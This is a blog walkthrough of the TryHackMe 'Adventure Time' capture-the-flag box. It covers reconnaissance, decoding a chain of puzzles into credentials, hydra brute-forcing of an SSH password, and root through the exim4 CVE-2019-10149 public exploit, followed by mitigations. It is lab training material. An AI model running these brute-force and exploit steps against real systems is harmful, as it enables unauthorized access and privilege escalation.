DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

TryHackMe: Adventure Time Writeup

#cybersecurity #ctf #writeup #tryhackme

Summary

Adventure Time is a hard-rated TryHackMe box themed around the cartoon, with a heavy focus on multi-layered encoding/decoding puzzles, steganography, and lateral movement through several user accounts before reaching root. The attack path begins with FTP anonymous login retrieving six JPEG images whose EXIF XP Comment fields encode binary fragments, which concatenate to a hint phrase. A chain of web pages hosted at land-of-ooo.com — discovered by following the SSL certificate clue from the HTTPS vhost — delivers credentials through Morse code, AES decryption, Vigenère cipher, and a Spoon (esoteric binary language) challenge. Each credential unlocks the next user. The final privilege escalation abuses a SUID-root exim4 binary vulnerable to CVE-2019-10149 (The Return of the WIZard), landing a root shell and the BMO reset code hidden in Bubblegum's home directory.

Attack Chain

1. Recon 

rustscan -a MACHINE_IP --ulimit 5000
Enter fullscreen mode Exit fullscreen mode 
Open MACHINE_IP:21
Open MACHINE_IP:22
Open MACHINE_IP:80
Open MACHINE_IP:443
Open MACHINE_IP:31337
Enter fullscreen mode Exit fullscreen mode 
nmap -sC -sV MACHINE_IP -p 21,22,80,443,31337
Enter fullscreen mode Exit fullscreen mode 
PORT      STATE SERVICE  VERSION
21/tcp    open  ftp      vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r--    1 ftp      ftp       1401357 Sep 21  2019 1.jpg
| -r--r--r--    1 ftp      ftp        233977 Sep 21  2019 2.jpg
| -r--r--r--    1 ftp      ftp        524615 Sep 21  2019 3.jpg
| -r--r--r--    1 ftp      ftp        771076 Sep 21  2019 4.jpg
| -r--r--r--    1 ftp      ftp       1644395 Sep 21  2019 5.jpg
|_-r--r--r--    1 ftp      ftp         40355 Sep 21  2019 6.jpg
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.29
|_http-title: 404 Not Found
443/tcp   open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: You found Finn
| ssl-cert: Subject: commonName=adventure-time.com/organizationName=Candy Corporate Inc.
31337/tcp open  Elite?
| fingerprint-strings:
|   GenericLines, NULL:
|     Hello Princess Bubblegum. What is the magic word?
Enter fullscreen mode Exit fullscreen mode

Port 31337 is a custom TCP service that prompts for a "magic word". Port 80 returns 404. Port 443 has a self-signed cert for adventure-time.com.

2. FTP anonymous login - EXIF binary decode 

ftp MACHINE_IP 21
Enter fullscreen mode Exit fullscreen mode 
Name: anonymous
230 Login successful.
ftp> prompt off
ftp> mget *
Enter fullscreen mode Exit fullscreen mode

Six JPEGs downloaded. All have binary data embedded in the XP Comment EXIF field:

exiftool *.jpg | grep "XP Comment"
Enter fullscreen mode Exit fullscreen mode 
XP Comment : 01111001 01101111 01110101 00100000
XP Comment : 01110010 01100101 01100001 01101100 01101100 01111001 00100000
XP Comment : 01101100 01101001 01101011 01100101 00100000
XP Comment : 01110100 01101111 00100000
XP Comment : 01110000 01110101 01111010 01111010 01101100 01100101 00100000
XP Comment : 01100100 01101111 01101110 00100111 01110100 00100000 01111001 01100001
Enter fullscreen mode Exit fullscreen mode

Decoding each binary sequence and concatenating:

  • 1.jpg → you

  • 2.jpg → really

  • 3.jpg → like

  • 4.jpg → to

  • 5.jpg → puzzle

  • 6.jpg → don't ya

Result: "you really like to puzzle don't ya"

Tried this as the magic word on port 31337 - rejected. It's a clue, not the answer itself.

nc MACHINE_IP 31337
Hello Princess Bubblegum. What is the magic word?
you really like to puzzle don't ya
The magic word is not you really like to puzzle don't ya
Enter fullscreen mode Exit fullscreen mode

3. Web enumeration - HTTPS vhost

Port 80 (HTTP) returns 404. Port 443 (HTTPS) serves content:

curl -k https://MACHINE_IP/
Enter fullscreen mode Exit fullscreen mode 
<title>You found Finn</title>
<img src="finn-1.png" alt="the magic word" style="width: 100%">
Enter fullscreen mode Exit fullscreen mode

The SSL cert's commonName=adventure-time.com is the clue. Added adventure-time.com to /etc/hosts. Gobuster against the HTTPS service:

gobuster dir -u https://MACHINE_IP/ -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Enter fullscreen mode Exit fullscreen mode 
candybar    (Status: 301) [Size: 321] [--> https://MACHINE_IP/candybar/]
Enter fullscreen mode Exit fullscreen mode 
curl -k https://MACHINE_IP/candybar/
Enter fullscreen mode Exit fullscreen mode 
<title>Where is Jake?</title>
<img src="finn-2.png" alt="the magic word" style="width: 100%">
<!-- KBQWY4DONAQHE53UOJ5CA2LXOQQEQSCBEBZHIZ3JPB2XQ4TQNF2CA5LEM4QHEYLKORUC4=== -->
Enter fullscreen mode Exit fullscreen mode

Decoding the HTML comment:

echo 'KBQWY4DONAQHE53UOJ5CA2LXOQQEQSCBEBZHIZ3JPB2XQ4TQNF2CA5LEM4QHEYLKORUC4===' | base32 -d
Enter fullscreen mode Exit fullscreen mode 
Palpnh rwtrz iwt HHA rtgixuxrpit udg rajth.
Enter fullscreen mode Exit fullscreen mode

Applying Caesar cipher with shift -15 decodes to: "ALWAYS CHECK THE SSL CERTIFICATE FOR CLUES"

The certificate confirmed adventure-time.com / land-of-ooo.com as the target domain.

4. Enumerating land-of-ooo.com 

ffuf -u https://land-of-ooo.com/FUZZ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
Enter fullscreen mode Exit fullscreen mode 
yellowdog    [Status: 301, Size: 322]
Enter fullscreen mode Exit fullscreen mode 
curl -k https://land-of-ooo.com/yellowdog/
Enter fullscreen mode Exit fullscreen mode 
<title>To find a password</title>
<img src="jake-2.png" alt="what is the password?" style="width: 100%">
Enter fullscreen mode Exit fullscreen mode 
ffuf -u https://land-of-ooo.com/yellowdog/FUZZ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
Enter fullscreen mode Exit fullscreen mode 
bananastock    [Status: 301]
Enter fullscreen mode Exit fullscreen mode

The /yellowdog/bananastock/ page displayed two Banana Guards with their password rendered as Morse code using / as dot delimiter and \ as word delimiter. Decoded in CyberChef (From Morse Code, Letter delimiter: Forward slash, Word delimiter: Backslash):

"THE BANANAS ARE THE BEST!!!"

ffuf -u https://land-of-ooo.com/yellowdog/bananastock/FUZZ -k -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
Enter fullscreen mode Exit fullscreen mode 
princess    [Status: 301]
Enter fullscreen mode Exit fullscreen mode 
curl -k https://land-of-ooo.com/yellowdog/bananastock/princess/
Enter fullscreen mode Exit fullscreen mode 
<title>What secret safe?</title>
<!--
Secrettext = 0008f1a92d287b48dccb5079eac18ad2a0c59c22fbc7827295842f670cdb3cb645de3de794320af132ab341fe0d667a85368d0df5a3b731122ef97299acc3849cc9d8aac8c3acb647483103b5ee44166
Key = my cool password
IV = abcdefghijklmanopqrstuvwxyz
Mode = CBC
Input = hex
Output = raw
-->
Enter fullscreen mode Exit fullscreen mode

Decrypted in CyberChef (AES Decrypt, CBC, Hex input):

"the magic safe is accessibel at port 31337. the magic word is: ricardio"

5. Port 31337 - get SSH username 

nc MACHINE_IP 31337
Hello Princess Bubblegum. What is the magic word?
ricardio
The new username is: apple-guards
Enter fullscreen mode Exit fullscreen mode

6. SSH as apple-guards 

ssh apple-guards@land-of-ooo.com
apple-guards@land-of-ooo.com's password: THE BANANAS ARE THE BEST!!!
Enter fullscreen mode Exit fullscreen mode 
apple-guards@at:~$ whoami
apple-guards
apple-guards@at:~$ id
uid=1009(apple-guards) gid=1009(apple-guards) groups=1009(apple-guards)
apple-guards@at:~$ cat flag1
tryhackme{REDACTED}
apple-guards@at:~$ cat flag.txt
tryhackme{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Checked mail:

apple-guards@at:~$ cat mbox
From: marceline@at
Subject: Need help???

Hi there bananaheads!!!
I heard Princess B revoked your access to the system. Bummer!
But I'll help you guys out.....doesn't cost you a thing.....well almost nothing.
I hid a file for you guys. If you get the answer right, you'll get better access.
Enter fullscreen mode Exit fullscreen mode 
apple-guards@at:~$ find / -type f -user marceline 2>/dev/null
/etc/fonts/helper
apple-guards@at:~$ ls -la /etc/fonts/helper
-rwxr-x--- 1 marceline apple-guards 16616 sep 20  2019 /etc/fonts/helper
Enter fullscreen mode Exit fullscreen mode

7. Marceline's helper puzzle - Vigenère decode 

apple-guards@at:~$ /etc/fonts/helper
Enter fullscreen mode Exit fullscreen mode 
======================================
      BananaHead Access Pass
       created by Marceline
======================================

The key to solve this puzzle is gone
And you need the key to get this readable: Gpnhkse

Did you solve the puzzle? yes

What is the word I'm looking for? Abadeer

That's it!!!! You solved my puzzle
Don't tell princess B I helped you guys!!!
My password is 'My friend Finn'
Enter fullscreen mode Exit fullscreen mode

Vigenère decode of Gpnhkse with key gone (CyberChef) → "Abadeer"

8. SSH/su as marceline 

apple-guards@at:~$ su marceline
Password: My friend Finn
marceline@at:~$ cat flag2
tryhackme{REDACTED}
Enter fullscreen mode Exit fullscreen mode 
marceline@at:~$ cat I-got-a-secret.txt
...
111111111100100010101011101011111110101111111111011011011011000001101001001011111111111111001010010111100101000000000000101001101111001010010010111111110010100000000000000000000000000000000000000010101111110010101100101000000000000000000000101001101100101001001011111111111111111111001010000000000000000000000000001010111001010000000000000000000000000000000000000000000001010011011001010010010111111111111111111111001010000000000000000000000000000000001010111111001010011011001010010111111111111100101001000000000000101001111110010100110010100100100000000000000000000010101110010100010100000000000000010100000000010101111100101001111001010011001010010000001010010100101011100101001101100101001011100101001010010100110110010101111111111111111111111111111111110010100100100000000000010100010100111110010100000000000000000000000010100111111111111111110010100101111001010000000000000001010
Enter fullscreen mode Exit fullscreen mode

The binary string is Spoon (an esoteric Brainfuck-derived language using only +, -, >, <, [, ], ., , encoded as binary). Decoded via dCode's Spoon interpreter:

"the magic word you are looking for is ApplePie"

9. Port 31337 again - get peppermint-butler password 

nc land-of-ooo.com 31337
Hello Princess Bubblegum. What is the magic word?
ApplePie
The password of peppermint-butler is: That Black Magic
Enter fullscreen mode Exit fullscreen mode

10. su peppermint-butler 

marceline@at:~$ su peppermint-butler
Password: That Black Magic
peppermint-butler@at:~$ cat flag3
tryhackme{REDACTED}
Enter fullscreen mode Exit fullscreen mode 
peppermint-butler@at:~$ ls -la
-rw-------  1 peppermint-butler peppermint-butler 85555 sep 21  2019 butler-1.jpg
-rw-r-----  1 peppermint-butler peppermint-butler    28 sep 22  2019 flag3
Enter fullscreen mode Exit fullscreen mode 
peppermint-butler@at:~$ find / -type f -user peppermint-butler 2>/dev/null | grep -v proc
/usr/share/xml/steg.txt
/etc/php/zip.txt
/home/peppermint-butler/flag3
/home/peppermint-butler/butler-1.jpg
Enter fullscreen mode Exit fullscreen mode 
peppermint-butler@at:~$ cat /usr/share/xml/steg.txt
...
The password of my secret file is 'ToKeepASecretSafe'
peppermint-butler@at:~$ cat /etc/php/zip.txt
...
The password of my secret file is 'ThisIsReallySave'
Enter fullscreen mode Exit fullscreen mode

Two different passwords - one for steghide, one for the zip.

Served the image to the attacker machine:

peppermint-butler@at:~$ python3 -m http.server 8000
Enter fullscreen mode Exit fullscreen mode 
wget http://land-of-ooo.com:8000/butler-1.jpg
Enter fullscreen mode Exit fullscreen mode 
steghide extract -sf butler-1.jpg
Enter passphrase: ToKeepASecretSafe
wrote extracted data to "secrets.zip".
Enter fullscreen mode Exit fullscreen mode 
unzip secrets.zip
[secrets.zip] secrets.txt password: ThisIsReallySave
Enter fullscreen mode Exit fullscreen mode 
cat secrets.txt
...
I think I saw him type in something.
It was unclear, but it was something like 'The Ice King s????'.
The last 4 letters where a blur.
Enter fullscreen mode Exit fullscreen mode

11. Bruteforce gunter's SSH password

Peppermint Butler's image had no useful EXIF. The hint from secrets.txt gives a partial password pattern for user gunter.

crunch 18 18 -t 'The Ice King s@@@@' > pass.txt
Crunch will now generate the following number of lines: 456976
Enter fullscreen mode Exit fullscreen mode 
hydra -l gunter -P pass.txt -t 4 ssh://MACHINE_IP
Enter fullscreen mode Exit fullscreen mode 
[22][ssh] host: MACHINE_IP   login: gunter   password: The Ice King sucks
Enter fullscreen mode Exit fullscreen mode

12. su/SSH as gunter 

peppermint-butler@at:~$ su gunter
Password: The Ice King sucks
gunter@at:~$ id
uid=1007(gunter) gid=1007(gunter) groups=1007(gunter),1012(gcc)
gunter@at:~$ cat flag4
tryhackme{REDACTED}
Enter fullscreen mode Exit fullscreen mode

gunter is in the gcc group. Checking SUID binaries:

gunter@at:~$ find / -perm -4000 2>/dev/null
/usr/sbin/exim4
...
gunter@at:~$ ls -la /usr/sbin/exim4
-rwsr-xr-x 1 root 1011 1140200 feb 14  2018 /usr/sbin/exim4
gunter@at:~$ exim4 --version
Exim version 4.90_1 #4 built 14-Feb-2018 16:01:14
Enter fullscreen mode Exit fullscreen mode

Exim 4.90_1 is vulnerable to CVE-2019-10149 (local privilege escalation via RCPT TO command injection). Exim was listening on localhost port 60000 (confirmed from /etc/exim4/update-exim4.conf.conf):

gunter@at:~$ ss -tlnp | grep 60000
LISTEN   0   20   127.0.0.1:60000   0.0.0.0:*
Enter fullscreen mode Exit fullscreen mode

13. CVE-2019-10149 - SUID exim4 LPE to root

Used the public PoC (exploit-db 46996), modified the exec 3<>/dev/tcp/localhost/25 line to point to port 60000:

gunter@at:~$ nano cve-2019-10149.sh
gunter@at:~$ bash cve-2019-10149.sh
Enter fullscreen mode Exit fullscreen mode 
raptor_exim_wiz - "The Return of the WIZard" LPE exploit

Preparing setuid shell helper...
Delivering setuid payload...
220 at ESMTP Exim 4.90_1 Ubuntu Tue, 22 Sep 2026 13:44:25 +0200
250 at Hello localhost [127.0.0.1]
250 OK
250 Accepted
354 Enter message, ending with "." on a line by itself
250 OK id=1x8yvB-0001gJ-SI
221 at closing connection

Waiting 5 seconds...
-rwsr-xr-x 1 root gunter 8504 sep 22 13:44 /tmp/pwned
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1007(gunter),1012(gcc)
Enter fullscreen mode Exit fullscreen mode

14. Final flag - BMO reset code 

# cd /home/bubblegum/Secrets
# cat bmo.txt
Secret project number: 211243A
Name opbject: BMO
Rol object: Spy

In case of emergency use resetcode: tryhackme{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Key Vulnerabilities

  • Sensitive data in EXIF metadata - Binary-encoded credentials/clues were embedded in the XP Comment field of publicly accessible FTP images, relying on obscurity rather than any real access control.

  • Unauthenticated multi-stage web puzzle leaking credentials - The land-of-ooo.com web chain encoded the SSH username and password behind several layers of encoding (Morse, AES, base32+Caesar) with all decryption parameters embedded in the HTML comments of the same pages. The AES key, IV, mode, and ciphertext were all provided in the same page source.

  • Weak access-control binary (/etc/fonts/helper) - An executable owned by marceline was accessible to the apple-guards group and unconditionally printed a password after the user answered a trivial cipher puzzle, with no authentication.

  • Credentials embedded in a Spoon script stored in a readable file - The peppermint-butler password was obtainable by anyone who could read I-got-a-secret.txt in Marceline's home directory and knew how to decode Spoon.

  • Steganography as the only secret protection - The gunter password hint was hidden in secrets.zip behind a steghide-extracted image; once the steghide and zip passwords were found in world-readable files (/usr/share/xml/steg.txt, /etc/php/zip.txt), the hint was trivially extractable.

  • Weak partial-password pattern enabling brute-force - The password The Ice King sucks followed a known prefix (The Ice King s) with only four lowercase letter positions unknown, making a 456,976-candidate wordlist trivial to generate and brute-force over SSH.

  • SUID root exim4 vulnerable to CVE-2019-10149 - Exim 4.90_1, running as a SUID-root binary, contains a command injection flaw in RCPT TO address handling (The Return of the WIZard). Any local user who can reach the SMTP port can exploit this to execute arbitrary commands as root.

Mitigations

  • Never embed credentials, encoding keys, or puzzle answers in publicly accessible metadata (EXIF), HTML comments, or world-readable files. Use proper secrets management.

  • Do not rely on multi-layer encoding (Morse, Caesar, AES with embedded keys) as a substitute for authentication. Credentials should be gated by actual access controls, not obscurity.

  • Restrict access to password-revealing helper binaries to specific authenticated users rather than entire groups, and require stronger proof of identity than a trivial cipher puzzle.

  • Keep all network-facing and SUID services patched. Exim 4.90_1 was already known-vulnerable at the time of room creation (CVE-2019-10149 was published in June 2019); updating to a patched release removes the LPE entirely.

  • Avoid using predictable password patterns (known prefix + short suffix). Enforce a password policy that prevents partial-knowledge brute-force attacks.

  • Run mail transfer agents (like exim) as unprivileged users rather than with SUID root; use capability-based privilege separation instead.

Top comments (0)